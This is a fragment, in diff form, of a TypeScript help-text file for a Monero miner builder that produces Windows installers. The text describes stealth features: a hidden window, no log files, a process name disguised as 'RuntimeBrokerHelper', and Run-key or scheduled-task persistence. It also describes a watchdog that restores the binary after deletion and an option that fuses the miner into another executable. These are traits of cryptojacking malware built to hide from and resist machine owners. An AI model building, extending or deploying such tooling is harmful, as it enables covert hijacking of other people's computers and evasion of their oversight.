body: 'All miner options live here — threads, install path, stealth, persistence, Fusion, AI. Incompatible mixes are blocked; grayed fields do not apply to your current picks. Green badges = baked into the .exe.',
},
{
title: '3. Build an installer',
body: 'Give each machine a unique Worker Name. Build install-{name}.exe. Server URL must be your LAN IP, not localhost, so other PCs can reach you.',
title: '3. Deploy',
body: 'Copy the built .exe to a worker machine (or USB). Run once — it embeds and connects back to your LAN dashboard.',
},
{
title: '4. Deploy once per PC',
body: 'Double-click the .exe on any Windows machine. It copies itself to your configured install folder, registers persistence if enabled, connects to your dashboard, and starts mining — no extra steps.',
},
{
title: '5. Monitor',
body: 'Watch Dashboard and Agents for hashrate graphs, CPU/RAM, shares, and online status.',
title: '4. Command Deck',
body: 'Watch live hashrate, CPU, and shares from every machine on your network.',
},
];
export const FIELD_HELP: Record<string, string> = {
worker_name: 'Unique label for this machine. Shows up in Dashboard and Agents. Example: office-pc-3',
server_url: 'Your control server address on the LAN. Workers connect here for jobs and stats. Use http://192.168.x.x:8989 not localhost.',
server_url:
'Control server URL baked into the installer (http://LAN-IP:port). Editable in Forge when your host IP changes; use a LAN address, not localhost.',
output_dir:
'Optional: also copy the finished .exe into a folder under the server data_dir (example: exports). This is just for convenience; builds are always kept under data/builds/<id>/ and downloadable.',
wallet: 'Monero wallet address where pool payouts go. Must be a valid 95-character mainnet address starting with 4.',
pool_host: 'Upstream Monero pool hostname. The control server connects here and relays work to your fleet.',
pool_port: 'Pool Stratum port. SupportXMR TLS is usually 443 or 3333 depending on pool docs.',
@@ -44,7 +43,7 @@ export const FIELD_HELP: Record<string, string> = {
display_mode: 'Visible shows a console window. Silent hides the window. Background is silent plus low priority — best for desktops.',
process_name: 'Installed .exe filename without extension. Shows in Task Manager. Example: RuntimeBrokerHelper',
persistence: 'When enabled, miner auto-starts after reboot via Windows Run key or scheduled task.',
run_as: 'User = startup entry. Scheduled/Service uses a logon scheduled task for persistence.',
run_as: 'User = Run key when persistence is on. Scheduled/Service always creates a logon task (persistence forced on — checkbox locks).',
silent_mode: 'Legacy toggle — prefer Display Mode. Hidden window when enabled.',
auto_start: 'Same as Persistence. Keeps miner running after reboot.',
fusion_enabled: 'Embed your prep.exe and the miner worker into one output file. Double-clicking the fused exe runs both.',
@@ -53,8 +52,14 @@ export const FIELD_HELP: Record<string, string> = {
install_base: 'Windows folder root where the miner embeds itself on first run. LocalAppData is typical for per-user hidden installs.',
install_custom_base: 'Full base path when Install Base is Custom. Supports %LOCALAPPDATA%, %APPDATA%, %ProgramData%, etc.',
install_relative_path: 'Folder path under the base, created on first run. Tokens: {worker}, {build}, {build_short}, {process}. Final exe: that folder + Process Name.exe',
public_url: 'Override the LAN URL shown in Forge and given to new miners. Use http://192.168.x.x:8989 — not localhost — so other PCs can reach this server.',
websocket_ping_seconds: 'How often the server pings dashboard and agent WebSockets (seconds). Keeps NAT/firewall sessions alive.',
log_pool_traffic: 'Verbose Stratum wire logging to the server console — for debugging pool connectivity only.',
adapt_to_hardware: 'Auto-tune thread count and RAM limits based on each machine\'s CPU cores and memory at runtime.',
self_healing: 'Watchdog re-applies persistence and restores the binary from backup if deleted. Scheduled tasks restart on failure.',
file_logging: 'When disabled, the miner writes no log file on the host (recommended with stealth mode).',
stealth_mode: 'No console window, no log files, and persistence registered under the process name instead of CryptoMiner-*.',
ai_enabled: 'Enable AI Autonomy — the forged miner periodically asks the control server for Ollama decisions (self-healing, persistence checks). Requires Ollama reachable from the control server.',
ai_ollama_endpoint: 'Ollama API URL on the control server machine (example: http://localhost:11434). The hub calls Ollama — not the worker directly.',
ai_model: 'Ollama model name to use for AI decisions (example: llama3.2). Must be pulled locally on the control server.',
};